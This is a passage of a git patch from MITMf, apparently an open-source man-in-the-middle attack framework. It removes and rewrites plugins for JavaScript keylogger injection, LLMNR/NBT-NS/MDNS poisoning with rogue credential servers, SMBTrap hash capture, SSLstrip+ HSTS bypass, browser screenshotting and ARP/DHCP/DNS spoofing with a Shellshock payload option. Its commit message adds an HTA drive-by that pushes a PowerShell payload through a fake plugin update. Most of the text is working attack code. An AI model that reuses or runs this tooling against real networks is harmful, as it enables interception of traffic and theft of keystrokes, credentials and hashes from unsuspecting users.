Javascript.") - options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") - options.add_argument("--html-payload", type=str, default='', help="String you would like to inject.") - #options.add_argument("--html-file", type=argparse.FileType('r'), help='File containg HTML you would like to inject') - options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. ( by default)") - options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.") + def options(self, options): + options.add_argument("--js-url", type=str, help="URL of the JS to inject") + options.add_argument('--js-payload', type=str, help='JS string to inject') + options.add_argument('--js-file', type=argparse.FileType('r'), help='File containing JS to inject') + options.add_argument("--html-url", type=str, help="URL of the HTML to inject") + options.add_argument("--html-payload", type=str, help="HTML string to inject") + options.add_argument('--html-file', type=argparse.FileType('r'), help='File containing HTML to inject') + options.add_argument("--match-str", type=str, default='', help="String you would like to match and place your payload before. ( by default)") + group = options.add_mutually_exclusive_group(required=False) - group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.") - group.add_argument("--rate-limit", type=float, default=None, help="Inject once every RATE_LIMIT seconds per client.") - group.add_argument("--count-limit", type=int, default=None, help="Inject only COUNT_LIMIT times per client.") - group.add_argument("--white-ips", metavar='IPS', type=str, default='', help="Inject content ONLY for these ips (comma seperated)") - group.add_argument("--black-ips", metavar='IPS', type=str, default='', help="DO NOT inject content for these ips (comma seperated)") - group.add_argument("--white-domains", metavar='DOMAINS', type=str, default='', help="Inject content ONLY for these domains (comma seperated)") - group.add_argument("--black-domains", metavar='DOMAINS', type=str, default='', help="DO NOT inject content for these domains (comma seperated)") + group.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.") + group.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.") + group.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.") + group.add_argument("--white-ips", metavar='IP', default='', type=str, help="Inject content ONLY for these ips (comma seperated)") + group.add_argument("--black-ips", metavar='IP', default='', type=str, help="DO NOT inject content for these ips (comma seperated)") + group.add_argument("--white-domains", metavar='DOMAINS', default='', type=str, help="Inject content ONLY for these domains (comma seperated)") + group.add_argument("--black-domains", metavar='DOMAINS', default='', type=str, help="DO NOT inject content for these domains (comma seperated)") diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py deleted file mode 100644 index 892cc69..0000000 --- a/plugins/JsKeylogger.py +++ /dev/null @@ -1,71 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import logging -import re -import random -import string - -from plugins.plugin import Plugin -from plugins.Inject import Inject - -mitmf_logger = logging.getLogger("mitmf") - -class jskeylogger(Inject, Plugin): - name = "JSKeylogger" - optname = "jskeylogger" - desc = "Injects a javascript keylogger into clients webpages" - version = "0.2" - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.msf_keylogger() - - def clientRequest(self, request): - if 'keylog' in request.uri: - request.printPostData = False - - raw_keys = request.postData.split("&&")[0] - input_field = request.postData.split("&&")[1] - - keys = raw_keys.split(",") - if keys: - del keys[0]; del(keys[len(keys)-1]) - - nice = '' - for n in keys: - if n == '9': - nice += "" - elif n == '8': - nice = nice[:-1] - elif n == '13': - nice = '' - else: - try: - nice += n.decode('hex') - except: - mitmf_logger.error("{} [JSKeylogger] Error decoding char: {}".format(request.client.getClientIP(), n)) - - mitmf_logger.info("{} [JSKeylogger] Host: {} | Field: {} | Keys: {}".format(request.client.getClientIP(), request.headers['host'], input_field, nice)) - - def msf_keylogger(self): - keylogger = open("./core/javascript/msfkeylogger.js", "r").read() - - return '' diff --git a/plugins/Replace.py b/plugins/Replace.py deleted file mode 100644 index 426e00e..0000000 --- a/plugins/Replace.py +++ /dev/null @@ -1,80 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -""" - -Plugin by @rubenthijssen - -""" - -import sys -import logging -import time -import re -from plugins.plugin import Plugin -from plugins.CacheKill import CacheKill -from core.sergioproxy.ProxyPlugins import ProxyPlugins - -mitmf_logger = logging.getLogger("mitmf") - -class Replace(Plugin): - name = "Replace" - optname = "replace" - desc = "Replace arbitrary content in HTML content" - version = "0.2" - has_opts = False - - def initialize(self, options): - self.options = options - - self.ctable = {} - self.dtable = {} - self.mime = "text/html" - - def serverResponse(self, response, request, data): - ip, hn, mime = self._get_req_info(response) - - if self._should_replace(ip, hn, mime): - - # Did the user provide us with a regex file? - for rulename, regexs in self.config['Replace'].iteritems(): - for regex1,regex2 in regexs.iteritems(): - if re.search(regex1, data): - try: - data = re.sub(regex1, regex2, data) - - mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename)) - except Exception: - mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename)) - - self.ctable[ip] = time.time() - self.dtable[ip+hn] = True - - return {'response': response, 'request': request, 'data': data} - - def _should_replace(self, ip, hn, mime): - return mime.find(self.mime) != -1 - - def _get_req_info(self, response): - ip = response.getClientIP() - hn = response.getRequestHostname() - mime = response.headers['Content-Type'] - - return (ip, hn, mime) diff --git a/plugins/Responder.py b/plugins/Responder.py deleted file mode 100644 index 9ea9fec..0000000 --- a/plugins/Responder.py +++ /dev/null @@ -1,128 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from twisted.internet import reactor -from core.utils import SystemConfig, shutdown - -from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner -from core.responder.mdns.MDNSPoisoner import MDNSPoisoner -from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner -from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter -from core.responder.wpad.WPADPoisoner import WPADPoisoner - -class Responder(Plugin): - name = "Responder" - optname = "responder" - desc = "Poison LLMNR, NBT-NS and MDNS requests" - tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] - version = "0.2" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - self.ourip = SystemConfig.getIP(options.interface) - - try: - config = self.config['Responder'] - smbChal = self.config['MITMf']['SMB']['Challenge'] - except Exception as e: - shutdown('[-] Error parsing config for Responder: ' + str(e)) - - LANFingerprinter().start(options) - MDNSPoisoner().start(options, self.ourip) - NBTNSPoisoner().start(options, self.ourip) - LLMNRPoisoner().start(options, self.ourip) - - if options.wpad: - from core.responder.wpad.WPADPoisoner import WPADPoisoner - WPADPoisoner().start(options) - - if self.config["Responder"]["MSSQL"].lower() == "on": - from core.responder.mssql.MSSQLServer import MSSQLServer - MSSQLServer().start(smbChal) - - if self.config["Responder"]["Kerberos"].lower() == "on": - from core.responder.kerberos.KERBServer import KERBServer - KERBServer().start() - - if self.config["Responder"]["FTP"].lower() == "on": - from core.responder.ftp.FTPServer import FTPServer - FTPServer().start() - - if self.config["Responder"]["POP"].lower() == "on": - from core.responder.pop3.POP3Server import POP3Server - POP3Server().start() - - if self.config["Responder"]["SMTP"].lower() == "on": - from core.responder.smtp.SMTPServer import SMTPServer - SMTPServer().start() - - if self.config["Responder"]["IMAP"].lower() == "on": - from core.responder.imap.IMAPServer import IMAPServer - IMAPServer().start() - - if self.config["Responder"]["LDAP"].lower() == "on": - from core.responder.ldap.LDAPServer import LDAPServer - LDAPServer().start(smbChal) - - if options.analyze: - self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - self.IsICMPRedirectPlausible(self.ourip) - - def IsICMPRedirectPlausible(self, IP): - result = [] - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - - for x in dnsip: - if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: - self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) - else: - pass - - def IsOnTheSameSubnet(self, ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - - def pluginReactor(self, strippingFactory): - reactor.listenTCP(3141, strippingFactory) - - def pluginOptions(self, options): - options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning") - options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") - options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") - options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") - options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") - options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") - # Removed these options until I find a better way of implementing them - #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/SMBTrap.py b/plugins/SMBTrap.py deleted file mode 100644 index aba0d5d..0000000 --- a/plugins/SMBTrap.py +++ /dev/null @@ -1,24 +0,0 @@ -import logging -import random -import string -from plugins.plugin import Plugin -from core.utils import SystemConfig - -mitmf_logger = logging.getLogger("mitmf") - -class SMBTrap(Plugin): - name = "SMBTrap" - optname = "smbtrap" - desc = "Exploits the SMBTrap vulnerability on connected clients" - version = "1.0" - has_opts = False - - def initialize(self, options): - self.ourip = SystemConfig.getIP(options.interface) - - def serverResponseStatus(self, request, version, code, message): - return {"request": request, "version": version, "code": 302, "message": "Found"} - - def serverHeaders(self, response, request): - mitmf_logger.info("{} [SMBTrap] Trapping request to {}".format(request.client.getClientIP(), request.headers['host'])) - response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8))) \ No newline at end of file diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py deleted file mode 100644 index 78c9de4..0000000 --- a/plugins/SSLstrip+.py +++ /dev/null @@ -1,51 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import sys -import logging - -from plugins.plugin import Plugin -from core.sslstrip.URLMonitor import URLMonitor -from core.servers.dns.DNSchef import DNSChef -from core.utils import IpTables - -class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.4" - tree_info = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False - - def initialize(self, options): - self.options = options - self.manualiptables = options.manualiptables - - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.config['MITMf']['DNS']['port']) - - URLMonitor.getInstance().setHstsBypass() - DNSChef.getInstance().setHstsBypass() - - def finish(self): - if not self.manualiptables: - if IpTables.getInstance().dns is True: - IpTables.getInstance().Flush() diff --git a/plugins/Screenshotter.py b/plugins/Screenshotter.py deleted file mode 100644 index eae51ee..0000000 --- a/plugins/Screenshotter.py +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import base64 -import urllib -import re - -from datetime import datetime -from plugins.Inject import Inject -from plugins.plugin import Plugin - -mitmf_logger = logging.getLogger('mitmf') - -class ScreenShotter(Inject, Plugin): - name = 'ScreenShotter' - optname = 'screen' - desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' - ver = '0.1' - has_opts = True - - def initialize(self, options): - self.interval = 10 or options.interval - Inject.initialize(self, options) - self.html_payload = self.get_payload() - - def clientRequest(self, request): - if 'saveshot' in request.uri: - request.printPostData = False - client = request.client.getClientIP() - img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) - try: - with open('./logs/' + img_file, 'wb') as img: - img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) - img.close() - - mitmf_logger.info('{} [ScreenShotter] Saved screenshot to {}'.format(client, img_file)) - except Exception as e: - mitmf_logger.error('{} [ScreenShotter] Error saving screenshot: {}'.format(client, e)) - - def get_payload(self): - canvas = re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) - return '' - - def pluginOptions(self, options): - options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=None, help="Interval at which screenshots will be taken (default 10 seconds)") \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py deleted file mode 100644 index 37379fd..0000000 --- a/plugins/Spoof.py +++ /dev/null @@ -1,132 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from core.utils import SystemConfig, IpTables, shutdown -from core.poisoners.arp.ARPpoisoner import ARPpoisoner -from core.poisoners.arp.ARPWatch import ARPWatch -from core.servers.dns.DNSchef import DNSChef -from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner -from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner -from plugins.plugin import Plugin -from scapy.all import * - -class Spoof(Plugin): - name = "Spoof" - optname = "spoof" - desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" - version = "0.6" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.dnscfg = self.config['MITMf']['DNS'] - self.dhcpcfg = self.config['Spoof']['DHCP'] - self.targets = options.targets - self.arpmode = options.arpmode or 'rep' - self.manualiptables = options.manualiptables - self.mymac = SystemConfig.getMAC(options.interface) - self.myip = SystemConfig.getIP(options.interface) - self.protocolInstances = [] - - #Makes scapy more verbose - debug = False - - if options.arp: - - if not options.gateway: - shutdown("[-] --arp argument requires --gateway") - - if options.targets is None: - #if were poisoning whole subnet, start ARP-Watch - arpwatch = ARPWatch(options.gateway, self.myip, options.interface) - arpwatch.debug = debug - - self.tree_info.append("ARPWatch online") - self.protocolInstances.append(arpwatch) - - arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets) - arp.arpmode = self.arpmode - arp.debug = debug - - self.protocolInstances.append(arp) - - - elif options.icmp: - - if not options.gateway: - shutdown("[-] --icmp argument requires --gateway") - - if not options.targets: - shutdown("[-] --icmp argument requires --targets") - - icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, self.myip) - icmp.debug = debug - - self.protocolInstances.append(icmp) - - elif options.dhcp: - - if options.targets: - shutdown("[-] --targets argument invalid when DCHP spoofing") - - dhcp = DHCPServer(options.interface, self.dhcpcfg, self.myip, self.mymac) - dhcp.shellshock = options.shellshock - dhcp.debug = debug - self.protocolInstances.append(dhcp) - - if options.dns: - - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(self.dnscfg['port']) - - if not options.arp and not options.icmp and not options.dhcp and not options.dns: - shutdown("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") - - SystemConfig.setIpForwarding(1) - - if not options.manualiptables: - if IpTables.getInstance().http is False: - IpTables.getInstance().HTTP(options.listen) - - for protocol in self.protocolInstances: - protocol.start() - - def pluginOptions(self, options): - group = options.add_mutually_exclusive_group(required=False) - group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') - group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') - group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') - options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries') - options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') - options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') - options.add_argument('--targets', dest='targets', default=None, help='Specify host/s to poison [if ommited will default to subnet]') - options.add_argument('--arpmode',type=str, dest='arpmode', default=None, choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') - - def finish(self): - for protocol in self.protocolInstances: - if hasattr(protocol, 'stop'): - protocol.stop() - - if not self.manualiptables: - IpTables.getInstance().Flush() - - SystemConfig.setIpForwarding(0) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py deleted file mode 100644 index c4ffd0b..0000000 --- a/plugins/Upsidedownternet.py +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -from cStringIO import StringIO -from plugins.plugin import Plugin -from PIL import Image, ImageFile - -mitmf_logger = logging.getLogger("mitmf") - -class Upsidedownternet(Plugin): - name = "Upsidedownternet" - optname = "upsidedownternet" - desc = 'Flips images 180 degrees' - version = "0.1" - has_opts = False - - def initialize(self, options): - globals()['Image'] = Image - globals()['ImageFile'] = ImageFile - self.options = options - - def serverHeaders(self, response, request): - '''Kill the image skipping that's in place for speed reasons''' - if request.isImageRequest: - request.isImageRequest = False - request.isImage = True - self.imageType = response.headers['content-type'].split('/')[1].upper() - - def serverResponse(self, response, request, data): - try: - isImage = getattr(request, 'isImage') - except AttributeError: - isImage = False - - if isImage: - try: - #For some reason more images get parsed using the parser - #rather than a file...PIL still needs some work I guess - p = ImageFile.Parser() - p.feed(data) - im = p.close() - im = im.transpose(Image.ROTATE_180) - output = StringIO() - im.save(output, format=self.imageType) - data = output.getvalue() - output.close() - mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP())) - except Exception as e: - mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e)) - - return {'response': response, 'request': request, 'data': data} diff --git a/plugins/__init__.py b/plugins/__init__.py index 155e900..9522dbd 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,5 +1,3 @@ -#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python -#Has to be a cleaner way to do this, but it works for now import os import glob __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] diff --git a/plugins/plugin.py b/plugins/plugin.py index ff0dd97..89ab856 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -1,25 +1,52 @@ -''' -The base plugin class. This shows the various methods that -can get called during the MITM attack. -''' -from core.configwatcher import ConfigWatcher -import logging +#!/usr/bin/env python2.7 -mitmf_logger = logging.getLogger('mitmf') +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import argparse + +from core.configwatcher import ConfigWatcher +from core.logger import logger class Plugin(ConfigWatcher, object): name = "Generic plugin" optname = "generic" - tree_info = list() + tree_info = [] desc = "" version = "0.0" - has_opts = False + + def __init__(self, parser): + '''Passed the options namespace''' + if self.desc: + sgroup = parser.add_argument_group(self.name, self.desc) + else: + sgroup = parser.add_argument_group(self.name,"Options for the '{}' plugin".format(self.name)) + + sgroup.add_argument("--{}".format(self.optname), action="store_true",help="Load plugin '{}'".format(self.name)) + + self.options(sgroup) def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options - def clientRequest(self, request): + def request(self, request): ''' Handles all outgoing requests, hooks connectionMade() request object has the following attributes: @@ -32,32 +59,43 @@ class Plugin(ConfigWatcher, object): ''' pass - def serverHeaders(self, response, request): + def responseheaders(self, response, request): ''' Handles all response headers, hooks handleEndHeaders() ''' pass - def serverResponseStatus(self, request, version, code, message): + def responsestatus(self, request, version, code, message): ''' Handles server response HTTP version, code and message ''' return {"request": request, "version": version, "code": code, "message": message} - def serverResponse(self, response, request, data): + def response(self, response, request, data): ''' Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images) ''' return {'response': response, 'request':request, 'data': data} - def pluginOptions(self, options): + def on_config_change(self): + """Do something when MITMf detects the config file has been modified""" + pass + + def options(self, options): '''Add your options to the options parser''' pass - def pluginReactor(self, strippingFactory): - '''This sets up another instance of the reactor on a diffrent port, passed the default factory''' + def reactor(self, strippingFactory): + '''This makes it possible to set up another instance of the reactor on a diffrent port, passed the default factory''' pass - def finish(self): + def setup_logger(self): + formatter = logging.Formatter("%(asctime)s [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") + self.log = logger().setup_logger(self.name, formatter) + + formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] [{}] %(message)s".format(self.name), datefmt="%Y-%m-%d %H:%M:%S") + self.clientlog = logger().setup_logger("{}_{}".format(self.name, "clientlog"), formatter) + + def on_shutdown(self): '''This will be called when shutting down''' pass From 5e2f30fb892b659cfdd90d03aadb21c72644bca6 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 18 Jul 2015 20:14:07 +0200 Subject: [PATCH 069/181] This is a vewwwy big commit - The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes - The logging of the whole framework has been compleatly overhauled - plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying! - New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload - the API of the plugins has been simplified - Improvements and error handling to user-agent parsing - Some misc bugfixes --- README.md | 10 +- config/hta_driveby/Flash.hta | 4 + config/mitmf.conf | 16 +- core/banners.py | 70 + core/configwatcher.py | 9 +- core/ferretng/ClientRequest.py | 23 +- core/ferretng/DnsCache.py | 4 - core/ferretng/SSLServerConnection.py | 11 +- core/ferretng/ServerConnection.py | 29 +- core/ferretng/ServerConnectionFactory.py | 8 +- core/ferretng/URLMonitor.py | 3 - core/html/htadriveby.html | 71 + core/javascript/plugindetect.js | 1310 ++++++++++++++++- core/mitmfapi.py | 104 ++ core/msfrpc.py | 19 +- core/netcreds/NetCreds.py | 4 - core/poisoners/arp/ARPWatch.py | 88 -- core/poisoners/arp/ARPpoisoner.py | 266 ++-- core/poisoners/dhcp/DHCPpoisoner.py | 34 +- core/poisoners/icmp/ICMPpoisoner.py | 10 +- ...ANFingerprinter.py => LANfingerprinter.py} | 33 +- .../ftp/{FTPServer.py => FTPserver.py} | 18 +- core/responder/https/HTTPSProxy.py | 145 -- core/responder/https/__init__.py | 0 .../imap/{IMAPServer.py => IMAPserver.py} | 16 +- .../kerberos/{KERBServer.py => KERBserver.py} | 26 +- .../ldap/{LDAPServer.py => LDAPserver.py} | 24 +- .../{LLMNRPoisoner.py => LLMNRpoisoner.py} | 50 +- .../mdns/{MDNSPoisoner.py => MDNSpoisoner.py} | 22 +- .../mssql/{MSSQLServer.py => MSSQLserver.py} | 30 +- .../{NBTNSPoisoner.py => NBTNSpoisoner.py} | 48 +- .../pop3/{POP3Server.py => POP3server.py} | 20 +- .../smtp/{SMTPServer.py => SMTPserver.py} | 14 +- core/responder/wpad/HTTPPackets.py | 275 ---- core/responder/wpad/WPADPoisoner.py | 157 -- core/responder/wpad/__init__.py | 0 core/sergioproxy/ProxyPlugins.py | 49 +- core/servers/dns/DNSchef.py | 51 +- core/servers/http/HTTPServer.py | 82 -- core/servers/http/HTTPserver.py | 48 + core/servers/smb/SMBserver.py | 44 +- core/sslstrip/ClientRequest.py | 32 +- core/sslstrip/DnsCache.py | 6 +- core/sslstrip/SSLServerConnection.py | 16 +- core/sslstrip/ServerConnection.py | 65 +- core/sslstrip/ServerConnectionFactory.py | 8 +- core/sslstrip/URLMonitor.py | 18 +- core/utils.py | 157 +- libs/bdfactory | 2 +- mitmf.py | 63 +- plugins/appcachepoison.py | 197 +++ plugins/browserprofiler.py | 45 + plugins/ferretng.py | 100 ++ plugins/filepwn.py | 632 ++++++++ plugins/htadriveby.py | 56 + plugins/{Inject.py => inject.py} | 120 +- plugins/jskeylogger.py | 62 + plugins/plugin.py | 4 +- plugins/replace.py | 53 + plugins/responder.py | 141 ++ plugins/screenshotter.py | 59 + plugins/smbauth.py | 41 + plugins/smbtrap.py | 38 + plugins/upsidedownternet.py | 61 + 64 files changed, 3748 insertions(+), 1473 deletions(-) create mode 100644 config/hta_driveby/Flash.hta create mode 100644 core/banners.py create mode 100644 core/html/htadriveby.html create mode 100644 core/mitmfapi.py delete mode 100644 core/poisoners/arp/ARPWatch.py rename core/responder/fingerprinter/{LANFingerprinter.py => LANfingerprinter.py} (86%) rename core/responder/ftp/{FTPServer.py => FTPserver.py} (74%) delete mode 100644 core/responder/https/HTTPSProxy.py delete mode 100644 core/responder/https/__init__.py rename core/responder/imap/{IMAPServer.py => IMAPserver.py} (70%) rename core/responder/kerberos/{KERBServer.py => KERBserver.py} (87%) rename core/responder/ldap/{LDAPServer.py => LDAPserver.py} (84%) rename core/responder/llmnr/{LLMNRPoisoner.py => LLMNRpoisoner.py} (68%) rename core/responder/mdns/{MDNSPoisoner.py => MDNSpoisoner.py} (78%) rename core/responder/mssql/{MSSQLServer.py => MSSQLserver.py} (78%) rename core/responder/nbtns/{NBTNSPoisoner.py => NBTNSpoisoner.py} (69%) rename core/responder/pop3/{POP3Server.py => POP3server.py} (69%) rename core/responder/smtp/{SMTPServer.py => SMTPserver.py} (78%) delete mode 100644 core/responder/wpad/HTTPPackets.py delete mode 100644 